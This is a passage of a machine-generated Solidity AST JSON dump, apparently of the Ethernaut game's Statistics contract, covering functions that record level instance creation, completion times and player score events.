ssion":{"baseExpression":{"id":55768,"name":"globalNoOfInstancesCreatedByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55554,"src":"3228:34:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":55770,"indexExpression":{"id":55769,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55676,"src":"3263:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"3228:42:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":55772,"nodeType":"ExpressionStatement","src":"3228:44:116"}]},"functionSelector":"7e4326d3","implemented":true,"kind":"function","modifiers":[{"id":55679,"kind":"modifierInvocation","modifierName":{"id":55678,"name":"onlyEthernaut","nameLocations":["2444:13:116"],"nodeType":"IdentifierPath","referencedDeclaration":55658,"src":"2444:13:116"},"nodeType":"ModifierInvocation","src":"2444:13:116"},{"arguments":[{"id":55681,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55674,"src":"2483:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":55682,"kind":"modifierInvocation","modifierName":{"id":55680,"name":"levelExistsCheck","nameLocations":["2466:16:116"],"nodeType":"IdentifierPath","referencedDeclaration":55619,"src":"2466:16:116"},"nodeType":"ModifierInvocation","src":"2466:23:116"}],"name":"createNewInstance","nameLocation":"2352:17:116","parameters":{"id":55677,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55672,"mutability":"mutable","name":"instance","nameLocation":"2378:8:116","nodeType":"VariableDeclaration","scope":55774,"src":"2370:16:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55671,"name":"address","nodeType":"ElementaryTypeName","src":"2370:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":55674,"mutability":"mutable","name":"level","nameLocation":"2396:5:116","nodeType":"VariableDeclaration","scope":55774,"src":"2388:13:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55673,"name":"address","nodeType":"ElementaryTypeName","src":"2388:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":55676,"mutability":"mutable","name":"player","nameLocation":"2411:6:116","nodeType":"VariableDeclaration","scope":55774,"src":"2403:14:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":55675,"name":"address","nodeType":"ElementaryTypeName","src":"2403:7:116","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2369:49:116"},"returnParameters":{"id":55683,"nodeType":"ParameterList","parameters":[],"src":"2494:0:116"},"scope":56450,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":55918,"nodeType":"FunctionDefinition","src":"3285:1489:116","nodes":[],"body":{"id":55917,"nodeType":"Block","src":"3466:1308:116","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":55802,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"baseExpression":{"baseExpression":{"id":55792,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55586,"src":"3484:11:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$_$","typeString":"mapping(address => mapping(address => struct Statistics.LevelInstance storage ref))"}},"id":55794,"indexExpression":{"id":55793,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55780,"src":"3496:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3484:19:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$","typeString":"mapping(address => struct Statistics.LevelInstance storage ref)"}},"id":55796,"indexExpression":{"id":55795,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55778,"src":"3504:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3484:26:116","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_storage","typeString":"struct Statistics.LevelInstance storage ref"}},"id":55797,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"3511:8:116","memberName":"instance","nodeType":"MemberAccess","referencedDeclaration":55529,"src":"3484:35:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":55800,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3531:1:116","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":55799,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"3523:7:116","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":55798,"name":"address","nodeType":"ElementaryTypeName","src":"3523:7:116","typeDescriptions":{}}},"id":55801,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3523:10:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3484:49:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"496e7374616e636520666f7220746865206c6576656c206973206e6f742063726561746564","id":55803,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3535:39:116","typeDescriptions":{"typeIdentifier":"t_stringliteral_ad999a6b6e67c5d98dbb66ebf083cb76499ec79f0a29579ce1b2848f05049822","typeString":"literal_string \"Instance for the level is not created\""},"value":"Instance for the level is not created"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_ad999a6b6e67c5d98dbb66ebf083cb76499ec79f0a29579ce1b2848f05049822","typeString":"literal_string \"Instance for the level is not created\""}],"id":55791,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3476:7:116","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":55804,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3476:99:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":55805,"nodeType":"ExpressionStatement","src":"3476:99:116"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":55814,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"baseExpression":{"baseExpression":{"id":55807,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55586,"src":"3593:11:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$_$","typeString":"mapping(address => mapping(address => struct Statistics.LevelInstance storage ref))"}},"id":55809,"indexExpression":{"id":55808,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55780,"src":"3605:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3593:19:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$","typeString":"mapping(address => struct Statistics.LevelInstance storage ref)"}},"id":55811,"indexExpression":{"id":55810,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55778,"src":"3613:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3593:26:116","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_storage","typeString":"struct Statistics.LevelInstance storage ref"}},"id":55812,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"3620:8:116","memberName":"instance","nodeType":"MemberAccess","referencedDeclaration":55529,"src":"3593:35:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":55813,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55776,"src":"3632:8:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3593:47:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"5375626d697474656420696e7374616e6365206973206e6f74207468652063726561746564206f6e65","id":55815,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3642:43:116","typeDescriptions":{"typeIdentifier":"t_stringliteral_c32ce765b34eb024661a2f9bc58aacbdd1f449be52f59754b8fc6259912f52f4","typeString":"literal_string \"Submitted instance is not the created one\""},"value":"Submitted instance is not the created one"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_c32ce765b34eb024661a2f9bc58aacbdd1f449be52f59754b8fc6259912f52f4","typeString":"literal_string \"Submitted instance is not the created one\""}],"id":55806,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3585:7:116","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":55816,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3585:101:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":55817,"nodeType":"ExpressionStatement","src":"3585:101:116"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":55826,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"baseExpression":{"baseExpression":{"id":55819,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55586,"src":"3704:11:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$_$","typeString":"mapping(address => mapping(address => struct Statistics.LevelInstance storage ref))"}},"id":55821,"indexExpression":{"id":55820,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55780,"src":"3716:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3704:19:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$","typeString":"mapping(address => struct Statistics.LevelInstance storage ref)"}},"id":55823,"indexExpression":{"id":55822,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55778,"src":"3724:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3704:26:116","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_storage","typeString":"struct Statistics.LevelInstance storage ref"}},"id":55824,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"3731:11:116","memberName":"isCompleted","nodeType":"MemberAccess","referencedDeclaration":55531,"src":"3704:38:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"66616c7365","id":55825,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3746:5:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"src":"3704:47:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4c6576656c20616c726561647920636f6d706c65746564","id":55827,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3753:25:116","typeDescriptions":{"typeIdentifier":"t_stringliteral_543d0362379075e492932c3d227cee52d76dd6bf7a1bf03c2393235ed84c1c17","typeString":"literal_string \"Level already completed\""},"value":"Level already completed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_543d0362379075e492932c3d227cee52d76dd6bf7a1bf03c2393235ed84c1c17","typeString":"literal_string \"Level already completed\""}],"id":55818,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3696:7:116","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":55828,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3696:83:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":55829,"nodeType":"ExpressionStatement","src":"3696:83:116"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":55836,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"baseExpression":{"id":55830,"name":"levelFirstCompletionTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55579,"src":"3847:24:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":55832,"indexExpression":{"id":55831,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55780,"src":"3872:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3847:32:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":55834,"indexExpression":{"id":55833,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55778,"src":"3880:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3847:39:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":55835,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3890:1:116","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"3847:44:116","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":55872,"nodeType":"IfStatement","src":"3843:574:116","trueBody":{"id":55871,"nodeType":"Block","src":"3893:524:116","statements":[{"expression":{"id":55840,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"3907:43:116","subExpression":{"baseExpression":{"id":55837,"name":"globalNoOfLevelsCompletedByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55550,"src":"3907:33:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":55839,"indexExpression":{"id":55838,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55780,"src":"3941:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"3907:41:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":55841,"nodeType":"ExpressionStatement","src":"3907:43:116"},{"expression":{"id":55849,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"baseExpression":{"id":55842,"name":"levelFirstCompletionTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55579,"src":"3964:24:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":55845,"indexExpression":{"id":55843,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55780,"src":"3989:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"3964:32:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":55846,"indexExpression":{"id":55844,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55778,"src":"3997:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"3964:39:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":55847,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"4006:5:116","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":55848,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4012:9:116","memberName":"timestamp","nodeType":"MemberAccess","src":"4006:15:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3964:57:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":55850,"nodeType":"ExpressionStatement","src":"3964:57:116"},{"assignments":[55852],"declarations":[{"constant":false,"id":55852,"mutability":"mutable","name":"totalNoOfLevelsCompletedByPlayer","nameLocation":"4043:32:116","nodeType":"VariableDeclaration","scope":55871,"src":"4035:40:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":55851,"name":"uint256","nodeType":"ElementaryTypeName","src":"4035:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":55856,"initialValue":{"baseExpression":{"id":55853,"name":"globalNoOfLevelsCompletedByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55550,"src":"4078:33:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":55855,"indexExpression":{"id":55854,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55780,"src":"4112:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4078:41:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"4035:84:116"},{"assignments":[55858],"declarations":[{"constant":false,"id":55858,"mutability":"mutable","name":"newAverageTimeTakenToCompleteLevels","nameLocation":"4141:35:116","nodeType":"VariableDeclaration","scope":55871,"src":"4133:43:116","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":55857,"name":"uint256","nodeType":"ElementaryTypeName","src":"4133:7:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":55864,"initialValue":{"arguments":[{"id":55860,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55780,"src":"4242:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":55861,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55778,"src":"4250:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":55862,"name":"totalNoOfLevelsCompletedByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55852,"src":"4257:32:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":55859,"name":"updateAverageTimeTakenToCompleteLevelsByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56318,"src":"4195:46:116","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_address_$_t_uint256_$returns$_t_uint256_$","typeString":"function (address,address,uint256) returns (uint256)"}},"id":55863,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4195:95:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"4133:157:116"},{"eventCall":{"arguments":[{"id":55866,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55780,"src":"4328:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":55867,"name":"newAverageTimeTakenToCompleteLevels","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55858,"src":"4336:35:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":55868,"name":"totalNoOfLevelsCompletedByPlayer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55852,"src":"4373:32:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":55865,"name":"playerScoreProfile","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55606,"src":"4309:18:116","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (address,uint256,uint256)"}},"id":55869,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4309:97:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":55870,"nodeType":"EmitStatement","src":"4304:102:116"}]}},{"expression":{"arguments":[{"expression":{"id":55880,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"4472:5:116","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":55881,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4478:9:116","memberName":"timestamp","nodeType":"MemberAccess","src":"4472:15:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"expression":{"baseExpression":{"baseExpression":{"id":55873,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55586,"src":"4426:11:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$_$","typeString":"mapping(address => mapping(address => struct Statistics.LevelInstance storage ref))"}},"id":55876,"indexExpression":{"id":55874,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55780,"src":"4438:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4426:19:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$","typeString":"mapping(address => struct Statistics.LevelInstance storage ref)"}},"id":55877,"indexExpression":{"id":55875,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55778,"src":"4446:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4426:26:116","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_storage","typeString":"struct Statistics.LevelInstance storage ref"}},"id":55878,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"4453:13:116","memberName":"timeSubmitted","nodeType":"MemberAccess","referencedDeclaration":55538,"src":"4426:40:116","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage","typeString":"uint256[] storage ref"}},"id":55879,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4467:4:116","memberName":"push","nodeType":"MemberAccess","src":"4426:45:116","typeDescriptions":{"typeIdentifier":"t_function_arraypush_nonpayable$_t_array$_t_uint256_$dyn_storage_ptr_$_t_uint256_$returns$__$attached_to$_t_array$_t_uint256_$dyn_storage_ptr_$","typeString":"function (uint256[] storage pointer,uint256)"}},"id":55882,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4426:62:116","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":55883,"nodeType":"ExpressionStatement","src":"4426:62:116"},{"expression":{"id":55892,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"baseExpression":{"id":55884,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55586,"src":"4498:11:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$_$","typeString":"mapping(address => mapping(address => struct Statistics.LevelInstance storage ref))"}},"id":55887,"indexExpression":{"id":55885,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55780,"src":"4510:6:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4498:19:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$","typeString":"mapping(address => struct Statistics.LevelInstance storage ref)"}},"id":55888,"indexExpression":{"id":55886,"name":"level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55778,"src":"4518:5:116","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4498:26:116","typeDescriptions":{"typeIdentifier":"t_struct$_LevelInstance_$55539_storage","typeString":"struct Statistics.LevelInstance storage ref"}},"id":55889,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"4525:13:116","memberName":"timeCompleted","nodeType":"MemberAccess","referencedDeclaration":55535,"src":"4498:40:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":55890,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"4541:5:116","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":55891,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4547:9:116","memberName":"timestamp","nodeType":"MemberAccess","src":"4541:15:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"4498:58:116","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":55893,"nodeType":"ExpressionStatement","src":"4498:58:116"},{"expression":{"id":55901,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"baseExpression":{"id":55894,"name":"playerStats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55586,"src":"4566:11:116","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_struct$_LevelInstance_$55539_storage_$_$","typeString":"mapping(address => mapping(address => struct Statistics.LevelInstance storage 